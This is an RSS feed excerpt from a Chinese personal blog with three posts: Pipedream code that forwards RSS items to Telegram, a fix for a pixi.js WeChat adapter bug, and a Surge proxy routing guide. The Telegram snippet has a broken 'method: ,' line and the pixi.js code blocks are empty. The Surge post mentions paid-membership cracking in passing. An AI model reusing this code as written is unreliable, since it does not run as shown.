&lt;p&gt;这也是低代码平台常见的解决方案了，通过在代码中自定义的方式来增加新的field，比如这里就可以给当前节点增加选择tg机器人，以及一个填写chat_id 的field&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;telegram_bot_api: {
  type: &quot;app&quot;,
  app: &quot;telegram_bot_api&quot;,
},
chat_id: {
  type: &quot;string&quot;,
  label: &quot;Chatid&quot;,
  default: &quot;@RayeJourney&quot;,
},
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;写到这里，我突然意识到可以直接把所有步骤合并到一起了…，索性干脆合并到一起写得了，简单易懂还不需要折腾那么多，最终代码如下：&lt;/p&gt;
&lt;p&gt;每次只需要改动几个点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;几个必选项是需要填的&lt;/li&gt;
&lt;li&gt;message_template需要修改下，我这里是把item当做feed，然后replace替换的，所以代码中也需要做下修改&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;

  props: {
    my_data_store: { 
      type: &quot;data_store&quot;,
      label: &quot;MyDataStore&quot;
    },
    my_data_key: {
      type: &quot;string&quot;,
      label: &quot;MyDataKey&quot;,
      default: &quot;xlog&quot;
    },
    telegram_bot_api: {
      type: &quot;app&quot;,
      app: &quot;telegram_bot_api&quot;,
    },
    chat_id: {
      type: &quot;string&quot;,
      label: &quot;Chatid&quot;,
      default: &quot;@RayeJourney&quot;,
    },
    message_template: { // 由于 message 需要动态填充，改为 message_template
      type: &quot;string&quot;,
      label: &quot;Message&quot;,
      default: &quot;📝 ${item.title} blog\n\n${item.link}&quot;
    }
  },
  async run({steps, $}) {
    const items = steps.merge_rss_feeds.$return_value // 直接获取rss拉到的信息，最新的在最前面
    // 获取db
    let lastItem = await this.my_data_store.get(`${this.my_data_key}`) // 确保使用正确的数据存储访问方式
    
    const results = []; // 移动到 run 方法的顶部
    let newItem = []; // 存储要发送的消息
    const getId = (item) =&amp;gt; {
      return item.link;
    };

    const sendMsg = async (item) =&amp;gt; { // 确保 sendMsg 是异步的
      // 动态构造消息内容
      const message = this.message_template.replace(&apos;${item.title}&apos;, item.title).replace(&apos;${item.link}&apos;, item.link);
      try {
        const result = await axios($, {
          url: `https://api.telegram.org/bot${this.telegram_bot_api.$auth.token}/sendMessage`,
          method: ,
          headers: {
            &apos;Content-Type&apos;: &apos;application/json&apos;,
          },
          data: {
            chat_id: this.chat_id, // 直接使用 this.chat_id
            text: message,
            parse_mode: &apos;HTML&apos;,
          },
        });
        results.push(result.data); // 添加结果到 results 数组
      } catch (error) {
        console.error(&quot;Error sending message:&quot;, error);
        // 处理错误，例如添加错误信息到 results
        results.push({error: &quot;Failed to send message&quot;, details: error.toString()});
      }
    };

    // 确保遍历的逻辑正确处理最新和最旧的项
    for(const item of items){ // 不能优先处理最老的，一定要从最新的开始，因为会把旧的也加进来..
      if(lastItem &amp;amp;&amp;amp; getId(item) === getId(lastItem)){
        break; // 如果找到了上次处理的最后一个项，则停止处理
      }
      newItem.push(item)
    }

    for(const item of newItem.reverse()){
      await sendMsg(item); // 等待发送消息
    } 
    // 更新数据存储中的 lastItem 为本次处理的最新项
    if (items.length &amp;gt; 0) {
      await this.my_data_store.set(this.my_data_key, items[0]); // 假设 items[0] 是最新的项
    }

    // 返回所有发送操作的结果
    return results;
  },
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最终的部署举例&lt;/p&gt;
&lt;p&gt;如果你恰巧是通过rsshub获取的链接，然后想推送到tg，那么就很简单了（话说都已经用rsshub，为啥不直接用rss to tg呢🤣）&lt;/p&gt;
&lt;p&gt;以xlog的博客推送举例，现在只需要三个部分：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;触发时间，两个小时检查一次足矣&lt;/li&gt;
&lt;li&gt;拉取rss信息，比如我的 &lt;a href=&quot;https://rayepeng.net/feed&quot;&gt;&lt;code&gt;https://rayepeng.net/feed&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;然后添加一个code节点，将上文的代码粘贴过去&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;点一下刷新field&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmNyuGTzdyma88iGrt538WLbdcgq4pthWwuDQXnfToQqXt.png&quot; alt=&quot;Untitled 7&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后上方就出现了这些框框，自行编辑
&lt;img src=&quot;./attachments/Qmbbve8Cef1oXMK9pdhgkPiMQMzDuAX5BRry2jLPTeEBQk.png&quot; alt=&quot;Untitled 8&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;第一次启动工作流&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;第一次启动工作里的时候，由于此时还没有任何数据，如果你直接运行的话会导致大量历史消息全部发送出去&lt;/p&gt;
&lt;p&gt;于是，建议这样&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmTbghJw4sk347TnEscwe2vwP7iDFcioJXEGMEAZrupAHE.png&quot; alt=&quot;Untitled 9&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在db中，手动粘贴下这个值（因为批量发送的时候会对比，如果和db里的一样就不会再发送了）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmUvQ3fnJLVrHCo2RnRdaXZPES4kCDdeMFXk7d4koCNm2B.png&quot; alt=&quot;Untitled 10&quot; /&gt;&lt;/p&gt;
&lt;p&gt;好了，现在就大功告成了，不得不说运行速度还是比n8n要快多了（&lt;/p&gt;
</content:encoded></item><item><title>pixi.js开发微信小游戏——一个问题的解决</title><link>https://rayepeng.net/posts/pixijs%E5%BC%80%E5%8F%91%E5%BE%AE%E4%BF%A1%E5%B0%8F%E6%B8%B8%E6%88%8F%E4%B8%80%E4%B8%AA%E9%97%AE%E9%A2%98%E7%9A%84%E8%A7%A3%E5%86%B3/</link><guid isPermaLink="true">https://rayepeng.net/posts/pixijs%E5%BC%80%E5%8F%91%E5%BE%AE%E4%BF%A1%E5%B0%8F%E6%B8%B8%E6%88%8F%E4%B8%80%E4%B8%AA%E9%97%AE%E9%A2%98%E7%9A%84%E8%A7%A3%E5%86%B3/</guid><pubDate>Tue, 06 Feb 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;pixi.js开发微信小游戏——一个问题的解决&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmVL9ynLrcVmJx8AgPLNH4JX4iV6yC37vQmUYtvaYXxxME.png&quot; alt=&quot;biaoti11&quot; /&gt;&lt;/p&gt;
&lt;p&gt;pixi.js 开发微信小游戏&lt;/p&gt;
&lt;p&gt;我使用的 &lt;code&gt;pixi.js&lt;/code&gt;  是5.2.1版本的，加载资源的API变成了一个全局单例对象 &lt;code&gt;PIXI.Loader.shared&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;在运行小游戏项目的时候，加载图片资源是这样写的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let loader = PIXI.Loader.shared
loader.add(&apos;bg&apos;, &apos;static/textures/bg.png&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是微信开发者工具一直报错，提示没有 &lt;code&gt;indexOf&lt;/code&gt;  方法，于是开始追踪报错信息，定位到报错栈的上一层，在调用 &lt;code&gt;crossOrigin&lt;/code&gt;  方法前有一个 if 判断&lt;/p&gt;
&lt;p&gt;判断 source 类型，如果不是继承自 &lt;code&gt;HTMLImageElement&lt;/code&gt;  ，则会将 source 当做一个字符串，进入到后续方法，并且调用 indexOf 方法报错&lt;/p&gt;
&lt;p&gt;但问题就出在 source 已经是一个image对象了，自然没有 &lt;strong&gt;indexOf&lt;/strong&gt; 方法，所以就报错了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmQ8bxjZNYsPDBu5cLdb74xGxzmZhJZZEgGPzsXpEAe1fT.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;那为啥 &lt;code&gt;instanceof&lt;/code&gt;  判断会失败了，于是在浏览器环境下测试&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmTPaNRUGy8dF2V1zDRFwC8XG4NwV5RTThrJrLBPAexgnd.png&quot; alt=&quot;Untitled 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;控制台输入下，很明显返回是true&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmTZpLAWqn2BCFUdJ71yv3fjpsxyW4McppKbtyoG5W6ZyZ.png&quot; alt=&quot;Untitled 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;那为啥小游戏环境下就返回false呢，那就估计是 adapter 的问题了&lt;/p&gt;
&lt;p&gt;我这里用的adapter是别人重新修改的 &lt;code&gt;@iro/wechat-adapter&lt;/code&gt;  （微信原来提供的版本有很多问题），发现如下一处代码写得有问题：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;

}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;经过我测试发现，&lt;code&gt;wx.createImage().construcotr&lt;/code&gt; 本身就已经是 &lt;code&gt;HTMLImageElement&lt;/code&gt; ,这里又多了个 &lt;code&gt;extends&lt;/code&gt;  ，原型链上多了一层，自然就有问题了&lt;/p&gt;
&lt;p&gt;不熟悉原型链的朋友，可以看下这个图简单理解下（我理解的 instanceof 和 extends 本质就是原型链的查找）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmXCAMDtuap17gs74GGKBUUqkZBqkMKfquAStbhTXXGfcX.png&quot; alt=&quot;Untitled 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;所以我们直接改成等于就好，不需要 &lt;code&gt;extends&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果只是想临时修改代码，我们可以git clone 到本地后，修改代码，然后在项目的依赖中，指向本地即可：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;@iro/wechat-adapter&quot;: &quot;file:/Users/rayepeng/Documents/OpenSource/MyFrontEndCode/wechat-adapter/src/&quot;,
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样就项目就成功运行起来了&lt;/p&gt;
&lt;p&gt;ps. 修改后的 wechat-adapter 包已发布： &lt;a href=&quot;https://www.npmjs.com/package/@rayepeng/wechat-adapter&quot;&gt;https://www.npmjs.com/package/@rayepeng/wechat-adapter&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>surge入坑指南（一）</title><link>https://rayepeng.net/posts/surge-first-step/</link><guid isPermaLink="true">https://rayepeng.net/posts/surge-first-step/</guid><pubDate>Tue, 06 Feb 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;surge入坑指南（一）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmcTehmgSK2hrVQVU6Kv1dTsHSXWUo6ftDZm6SM5NYjrc9.png&quot; alt=&quot;biaoti22&quot; /&gt;&lt;/p&gt;
&lt;p&gt;为什么要使用surge呢？&lt;/p&gt;
&lt;p&gt;作为surge的三端用户，mac端+手机端+Apple tv端&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &amp;lt;img src=&quot;./attachments/Qmc3akFJQYeTMKVCDXnkGK1yPeaNtB2bNLo2W2S9w9KzDa.jpeg&quot; width=&quot;200&quot; heigh=&quot;200&quot;/&amp;gt;
&amp;lt;img src=&quot;./attachments/QmW4raRbssatRcCYo4vatf9Rcxk14VssTz1r431Jwu665n.png&quot; width=&quot;200&quot; heigh=&quot;200&quot;/&amp;gt;
&amp;lt;img src=&quot;./attachments/QmdJyLbZpFkFHNs2Sj97xwr4uW6CDgsF8eTGYw7yiuNqW9.png&quot; width=&quot;200&quot; heigh=&quot;200&quot;/&amp;gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/Qmc3akFJQYeTMKVCDXnkGK1yPeaNtB2bNLo2W2S9w9KzDa.jpeg&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;./attachments/QmW4raRbssatRcCYo4vatf9Rcxk14VssTz1r431Jwu665n.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;./attachments/QmdJyLbZpFkFHNs2Sj97xwr4uW6CDgsF8eTGYw7yiuNqW9.png&quot; alt=&quot;&quot; /&gt;
不得不说surge的界面确实很美（&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;最主要的用途：流媒体观看 + 国外app使用 + ChatGPT&lt;/li&gt;
&lt;li&gt;其次：京东比价，阿里云盘自动签到，B站ui修改等多种module&lt;/li&gt;
&lt;li&gt;开发用途：抓包，会员破解&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;当然实际上我这里用到的功能远不及surge包含的，高级功能如网关配置、内网穿透，DHCP服务器等，也有过折腾，但日常很少涉及到就不细说了&lt;/p&gt;
&lt;p&gt;当然上述能力，其实QuanX、clashX、小火箭也都可以作为替代品，而且价格也还算便宜（clashX免费）。如果打定主意要头铁入坑surge，就准备好氪金吧哈哈&lt;/p&gt;
&lt;p&gt;如何入坑surge呢？&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;mac端购买链接 &lt;a href=&quot;https://nssurge.com/buy_now&quot;&gt;Surge Mac - Advanced Web Debugging Proxy for Mac &amp;amp; iOS (nssurge.com)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;ios端购买链接 &lt;a href=&quot;https://nssurge.com/payment?product=surge-ios-3-pro&amp;amp;title=Surge%20iOS%20Pro%20Personal%20License&amp;amp;price=49.99&quot;&gt;Surge Mac - Advanced Web Debugging Proxy for Mac &amp;amp; iOS (nssurge.com)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;如果购买了ios端，则Apple tv端免费赠送（前提是账号需要绑定到同一个iCloud账户上）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;强烈建议网页端购买而不是App Store内购，你会感谢我的（因为外区Apple id账号很容易被ban，也难以共享给他人使用）&lt;/p&gt;
&lt;p&gt;网页端购买推荐买支持多台设备的套餐，可以共享出去来回点本，单人购买有点亏🥹&lt;/p&gt;
&lt;p&gt;有了surge后，还没完，你需要购买机场服务（自建节点也是可以的，但比较麻烦容易被封），推荐我一直用的机场（通过我的链接注册可以获得优惠😄）&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://rabbitpro.net/auth/register?code=JEBu&quot;&gt;https://rabbitpro.net/auth/register?code=JEBu&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;好了，下一步就是导入配置，机场提供了自带的配置，开箱可用&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmPHfw28YxpDwDdpge3pHGXQQkGr8JLNCmubAQAoKhfay2.png&quot; alt=&quot;Untitled 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;导入配置后，最好创建一份当前配置的副本方便我们后续编辑（当前配置无法修改）&lt;/p&gt;
&lt;p&gt;surge的基础界面我也介绍下：&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &amp;lt;p class=&quot;flex justify-between&quot;&amp;gt;
&amp;lt;img src=&quot;./attachments/QmavtHxMbwK6niTTpVycg9XhmPodiGpxkXF995cuziX5Qg.png&quot; width=&quot;200&quot; height=&quot;200&quot;/&amp;gt;
&amp;lt;img src=&quot;./attachments/QmVyJqEeGWjgZEnQSYjDvpfTU49vKRc7w6RKAErmDDp7yC.png&quot; width=&quot;200&quot; height=&quot;200&quot;/&amp;gt;
&amp;lt;img src=&quot;./attachments/QmcA6rs9y4Lppo1sgmbMbx59MM1eBAPvFigVQgzji3eSi3.png&quot; width=&quot;200&quot; height=&quot;200&quot;/&amp;gt;
&amp;lt;img src=&quot;./attachments/QmTQ8hRh5nbTTiofbgdBtebep32QaSK4uDs39vuFjjAwc7.png&quot; width=&quot;200&quot; height=&quot;200&quot;/&amp;gt;
&amp;lt;img src=&quot;./attachments/QmdsiTYWTKuJgudRa4w1JD8om7HP9QwDkrzsJzGibc1P4Y.png&quot; width=&quot;200&quot; height=&quot;200&quot;/&amp;gt;
&amp;lt;/p&amp;gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmavtHxMbwK6niTTpVycg9XhmPodiGpxkXF995cuziX5Qg.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;./attachments/QmVyJqEeGWjgZEnQSYjDvpfTU49vKRc7w6RKAErmDDp7yC.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;./attachments/QmcA6rs9y4Lppo1sgmbMbx59MM1eBAPvFigVQgzji3eSi3.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;./attachments/QmTQ8hRh5nbTTiofbgdBtebep32QaSK4uDs39vuFjjAwc7.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;./attachments/QmdsiTYWTKuJgudRa4w1JD8om7HP9QwDkrzsJzGibc1P4Y.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;好了，你已经正式入门了，接下来就是见证surge的魔力了&lt;/p&gt;
&lt;p&gt;基础分流规则&lt;/p&gt;
&lt;p&gt;首先需要理解下什么是分流，关于这一点似乎没有统一的定义，个人理解如下：&lt;/p&gt;
&lt;p&gt;上网本质就是和服务器传输数据，传输的数据按照字节数来统计就是多少流量（插一句，推荐去看《上传新生》这部剧，会对流量有更深的理解）&lt;/p&gt;
&lt;p&gt;我们和服务器之间是有很多条连接的，这些连接可以简单分个类，比如国内的服务，国外没有被墙的服务，国外被墙的服务&lt;/p&gt;
&lt;p&gt;而分流，就是将国外被墙的服务统统走机场代理，从而绕过墙的封锁，此处应该有图（但实际没有🐶）&lt;/p&gt;
&lt;p&gt;简单小结下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;国内的服务&lt;/li&gt;
&lt;li&gt;国外没有被墙的服务&lt;/li&gt;
&lt;li&gt;国外被墙的服务&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这其中，国外被墙的服务又因为地域的限制，加上了一堵无形的墙，比如OpenAI的服务就墙掉了香港的ip&lt;/p&gt;
&lt;p&gt;于是，我们又需要进一步分流，将国外的服务分流到不同地区的节点，比如常见的香港、美国、印度、尼日利亚、土耳其、阿根廷（我是精神阿根廷人！）等&lt;/p&gt;
&lt;p&gt;上一个小节中，导入的surge配置文件，其中有很大一部分就是做这个分流的&lt;/p&gt;
&lt;p&gt;此时打开surge，我们需要切换到“规则模式”，三个模式分别理解如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;直接连接：surge变身&lt;strong&gt;小透明&lt;/strong&gt;，所有流量一股脑的放过&lt;/li&gt;
&lt;li&gt;全局模式：surge变身&lt;strong&gt;大魔王&lt;/strong&gt;，所有的流量都被surge代理&lt;/li&gt;
&lt;li&gt;规则模式：surge变身&lt;strong&gt;检查员&lt;/strong&gt;，按照我们配置好的分流规则来分流&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;切换到规则模式后，此时的策略组还比较简单，只分成了四类：国内，国外，苹果，其他&lt;/p&gt;
&lt;p&gt;比如我们想访问ChatGPT服务的话，此时我们需要的将ChatGPT的服务都通过美国节点来访问，因此我们需要几个事情：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ChatGPT的服务器有哪些&lt;/li&gt;
&lt;li&gt;美国节点&lt;/li&gt;
&lt;li&gt;分流规则&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;那么ChatGPT的服务有哪些呢，已经有人帮忙整理好了，搜索 &lt;code&gt;surge rule chatgpt github&lt;/code&gt; 就能找到： &lt;a href=&quot;https://github.com/blackmatrix7/ios_rule_script/blob/master/rule/Surge/OpenAI/OpenAI.list&quot;&gt;ios_rule_script/rule/Surge/OpenAI/OpenAI.list at master · blackmatrix7/ios_rule_script (github.com)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这里列出的就是我们需要获得原始的raw链接&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://raw.githubusercontent.com/blackmatrix7/ios_rule_script/master/rule/Surge/OpenAI/OpenAI.list&quot;&gt;https://raw.githubusercontent.com/blackmatrix7/ios_rule_script/master/rule/Surge/OpenAI/OpenAI.list&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;当然更推荐用jsdelivr加速后的（因为raw.github的链接被墙了，后续更新资源容易导致报错连不上）：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;jsdelivr加速方法，只需要把github的域名替换为 &lt;code&gt;cdn.jsdelivr.net/gh&lt;/code&gt; 拼接下就好&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://cdn.jsdelivr.net/gh/blackmatrix7/ios_rule_script/rule/Surge/OpenAI/OpenAI.list&quot;&gt;https://cdn.jsdelivr.net/gh/blackmatrix7/ios_rule_script/rule/Surge/OpenAI/OpenAI.list&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmdMaYTgkNqpDQSwTwLrENYuhWK2cwzJzpSH6BFMBnVXNy.png&quot; alt=&quot;Untitled 8&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第一步准备好，第二步我们准备美国相关的节点，如果你是通过机场导入的配置，已经自动添加了很多节点，当然也可以手动去添加你的vps节点&lt;/p&gt;
&lt;p&gt;我们可以对这些节点做一个归类，比如按照地域来划分，点击【代理服务器】，拖到最底下，新增一个策略组：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;surge把代理服务器和策略组（即代理服务器的聚合）都视作代理服务器看待&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;将美国节点都拖进去（其他地区解锁OpenAI稳定性一般，美国节点最稳定）&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &amp;lt;img src=&quot;./attachments/QmSVAsrB3k3JYC4xu74ceykmfL6QtFEcRLKCHs9gRvpUGo.png&quot; width=&quot;200&quot; height=&quot;200&quot;/&amp;gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmSVAsrB3k3JYC4xu74ceykmfL6QtFEcRLKCHs9gRvpUGo.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第三步，设定分流规则，此时就可以直接添加一条分流到ChatGPT的规则了&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &amp;lt;p class=&quot;flex justify-between&quot;&amp;gt;
&amp;lt;img src=&quot;./attachments/QmQKBf3gaN69nbAwk1ohthjs65EyT7uFwLwTsWtiu8MaZG.png&quot; width=&quot;200&quot; height=&quot;200&quot;/&amp;gt;
&amp;lt;img src=&quot;./attachments/QmNPQkStYcPzm22CGHmJAGZxaoFpgTfykfLD13xcNQfveY.png&quot; width=&quot;200&quot; height=&quot;200&quot;/&amp;gt;
&amp;lt;/p&amp;gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmQKBf3gaN69nbAwk1ohthjs65EyT7uFwLwTsWtiu8MaZG.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;./attachments/QmNPQkStYcPzm22CGHmJAGZxaoFpgTfykfLD13xcNQfveY.png&quot; alt=&quot;&quot; /&gt;
好了，已经成功了，访问ChatGPT试试&lt;/p&gt;
&lt;p&gt;补充&lt;/p&gt;
&lt;p&gt;机场的节点并不是稳定的，可能出现短暂无法使用&lt;/p&gt;
&lt;p&gt;此时可以切换到策略组，点击测速，切换到连接畅通的节点（人工负载均衡了属于是🤣）&lt;/p&gt;
&lt;p&gt;嫌手工切麻烦的话，也可以在策略组中，选择这两个&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;URL延迟自动测试：自动选择延迟最低的&lt;/li&gt;
&lt;li&gt;URL可用性自动测试：不可用时随机选择一个可用的&lt;/li&gt;
&lt;li&gt;负载均衡：每次随机切换&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;!-- &amp;lt;p class=&quot;flex justify-between&quot;&amp;gt;
&amp;lt;img src=&quot;./attachments/QmSx7KKEJPYj7Y21FTyNPDF6kGZw9wJyH5gBpR1HSHAQ16.png&quot; width=&quot;200&quot; height=&quot;200&quot;/&amp;gt;
&amp;lt;img src=&quot;./attachments/QmXKUqvMWccjBQLAowHABBfkiqwKAASdoaZV9rM5KRAcgA.png&quot; width=&quot;200&quot; height=&quot;200&quot;/&amp;gt;
&amp;lt;/p&amp;gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmSx7KKEJPYj7Y21FTyNPDF6kGZw9wJyH5gBpR1HSHAQ16.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;./attachments/QmXKUqvMWccjBQLAowHABBfkiqwKAASdoaZV9rM5KRAcgA.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;进阶分流规则&lt;/p&gt;
&lt;p&gt;既然已经添加了第一条规则，那肯定要摩拳擦掌，试试添加一堆的规则了，比如Netflix、HBO、pornhub（大雾）&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;折腾之前别忘了，我们添加这些规则本质上为了实现无感知的上网，即不管是访问国内还是国外的服务，surge都自动为我们选择代理或者是不代理&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这些规则都可以在这里找到：https://github.com/blackmatrix7/ios_rule_script.git， 慢慢折腾就好了&lt;/p&gt;
&lt;p&gt;规则微调&lt;/p&gt;
&lt;p&gt;有些规则可能是过期的，比如HBO的规则，网上搜到的基本都过期了，于是可以这么做：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;先切换到全局模式，我们选择节点为美国，此时surge大魔王就会强制要求所有流量都通过美国节点（注意这时就别去刷国内的剧了，速度又慢又浪费流量）&lt;/li&gt;
&lt;li&gt;此时打开HBO MAX app，在【最近请求】页面观察下都访问了什么域名（surge也贴心地提供了浮窗可以实时观察）&lt;/li&gt;
&lt;li&gt;选择你觉得需要添加规则的域名，一般都很有特征的，比如 &lt;code&gt;[hbo.com](http://hbo.com)&lt;/code&gt; 或者是 &lt;code&gt;[max.com](http://max.com)&lt;/code&gt; 之类的，一般我们会选择 &lt;code&gt;DOMAIN-SUFFIX&lt;/code&gt; （后面说这是什么）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;可以选择临时规则或者永久规则，这是为了测试考虑&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &amp;lt;p class=&quot;flex justify-between&quot;&amp;gt;
&amp;lt;img src=&quot;./attachments/QmWbup8dzzLT7WhwTTjMzgzgJcuBrfFujnPAMVuVZ5ZmPN.jpeg&quot; width=&quot;200&quot; height=&quot;200&quot;/&amp;gt;
&amp;lt;img src=&quot;./attachments/Qmamxer5shLxDYZAPihFwv62XUFFUFBwUN4n8LUk6YnosM.png&quot; width=&quot;200&quot; height=&quot;200&quot;/&amp;gt;  &amp;lt;img src=&quot;./attachments/QmTYnk331nD3dorwN1V9ndFwG1TPjvPUzcu2C5uuXwKPhr.png&quot; width=&quot;200&quot; height=&quot;200&quot;/&amp;gt;
&amp;lt;/p&amp;gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmWbup8dzzLT7WhwTTjMzgzgJcuBrfFujnPAMVuVZ5ZmPN.jpeg&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;./attachments/Qmamxer5shLxDYZAPihFwv62XUFFUFBwUN4n8LUk6YnosM.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;./attachments/QmTYnk331nD3dorwN1V9ndFwG1TPjvPUzcu2C5uuXwKPhr.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;规则详解&lt;/p&gt;
&lt;p&gt;前面我们使用到的都是规则集，即包含了一系列的分流规则，surge中称之为 &lt;code&gt;RULE-SET&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;RULE-SET&lt;/code&gt;  的形式是一行一个规则，surge的规则除了针对域名分流，针对ip、针对进程（mac上）也都是可以的&lt;/p&gt;
&lt;p&gt;常见的规则形式有：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;域名规则
&lt;ul&gt;
&lt;li&gt;DOMAIN：严格匹配某域名。&lt;/li&gt;
&lt;li&gt;DOMAIN-SUFFIX：匹配某域名及其子域名，如 DOMAIN-SUFFIX,apple.com 可以匹配 apple.com 和 www.apple.com，但是不会匹配 anapple.com。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;IP地址规则&lt;/li&gt;
&lt;li&gt;其他规则
&lt;ul&gt;
&lt;li&gt;PROCESS-NAME：仅对 Mac 版本有效，可以匹配程序名。&lt;/li&gt;
&lt;li&gt;SRC-IP：可匹配连接来源 IP 地址，接管其他设备连接时可使用。&lt;/li&gt;
&lt;li&gt;IN-PORT：Mac 版本支持多端口监听，可为不同监听端口配置特定的规则。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;更多请参考文档：&lt;a href=&quot;https://manual.nssurge.com/book/understanding-surge/cn/%E7%AD%96%E7%95%A5&quot;&gt;Surge 官方中文指引：理解 Surge 原理 (nssurge.com)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;脚本&amp;amp;模块&lt;/p&gt;
&lt;p&gt;在使用脚本和模块功能之前，最好是先打开MITM&lt;/p&gt;
&lt;p&gt;打开MITM需要证书信任操作，这里不仔细说了，建议自行Google&lt;/p&gt;
&lt;p&gt;之后就可以切换到【修改】界面，使用脚本和模块功能了&lt;/p&gt;
&lt;p&gt;其实这两者本质上都是对请求和响应做一些修改，并且完成一些自动化的工作，但个人觉得模块相比脚本更好用，原因在于：&lt;/p&gt;
&lt;ul&gt;
